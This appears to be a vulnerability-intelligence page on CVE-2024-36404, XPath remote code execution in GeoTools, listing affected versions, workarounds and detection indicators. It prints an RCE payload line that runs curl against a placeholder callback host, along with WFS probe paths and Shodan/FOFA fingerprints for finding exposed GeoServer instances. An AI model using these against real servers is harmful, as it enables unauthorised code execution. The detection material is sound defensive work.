CVE-2024-36404

published 2024-07-02

CVE-2024-36404: GeoTools is an open source Java library that provides tools for geospatial data. Prior to versions 31.2, 30.4, and 29.6, Remote Code Execution (RCE) is…

Priority P1 84 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

GeoTools is an open source Java library that provides tools for geospatial data. Prior to versions 31.2, 30.4, and 29.6, Remote Code Execution (RCE) is possible if an application uses certain GeoTools functionality to evaluate XPath expressions supplied by user input. Versions 31.2, 30.4, and 29.6 contain a fix for this issue. As a workaround, GeoTools can operate with reduced functionality by removing the `gt-complex` jar from one's application. As an example of the impact, application schema `datastore` would not function without the ability to use XPath expressions to query complex content. Alternatively, one may utilize a drop-in replacement GeoTools jar from SourceForge for versions 31.1, 30.3, 30.2, 29.2, 28.2, 27.5, 27.4, 26.7, 26.4, 25.2, and 24.0. These jars are for download only and are not available from maven central, intended to quickly provide a fix to affected applications.

Affected

3 ranges

Vendor	Product	Version range	Fixed in
geotools	geotools	< 29.6	29.6
geotools	geotools	—	—
geotools	geotools	—	—

Detection & IOCs extracted from sources · hover to see the quote

url /geoserver/wfs?service=WFS&request=GetCapabilities↗

url /geoserver/ows?service=WFS&request=GetCapabilities↗

url /wfs?service=WFS&request=GetCapabilities↗

url /ows?service=WFS&request=GetCapabilities↗

url /geoserver/wfs?service=WFS↗

url /geoserver/ows?service=WFS↗

url /wfs?service=WFS↗

url /ows?service=WFS↗

command exec(java.lang.Runtime.getRuntime(),'curl {{interactsh-url}}')↗

• → Probe for GeoServer WFS capability endpoint; a valid response contains 'wfs:WFS_Capabilities' in the body with content-type application/xml and HTTP 200. ↗
• → Exploitation attempt via POST to WFS endpoint with XPath RCE payload; a vulnerable server returns HTTP 400 with 'java.lang.ClassCastException' in the body and content-type application/xml, while also triggering an out-of-band DNS interaction. ↗
• → Identify exposed GeoServer instances via Shodan using title 'geoserver' or favicon hash 97540678 or HTML path '/geoserver/'. ↗
• → Identify exposed GeoServer instances via FOFA using title, app name, icon hash, or body path '/geoserver/'. ↗
• → The exploit POST body uses a WFS GetPropertyValue request with an XPath expression containing exec(java.lang.Runtime.getRuntime(),...) to achieve RCE; monitor POST requests to WFS/OWS endpoints containing 'exec(' and 'java.lang.Runtime' in the XML body. ↗
• → RCE is triggered through user-supplied XPath expressions evaluated by the gt-complex component; presence of the gt-complex jar in a GeoTools deployment is a risk indicator. ↗

• · Workaround removes gt-complex functionality; application schema datastore will not work without XPath support for complex content. ↗
• · Drop-in replacement jars from SourceForge are available for older versions but are NOT published to Maven Central; they must be manually downloaded and deployed. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-95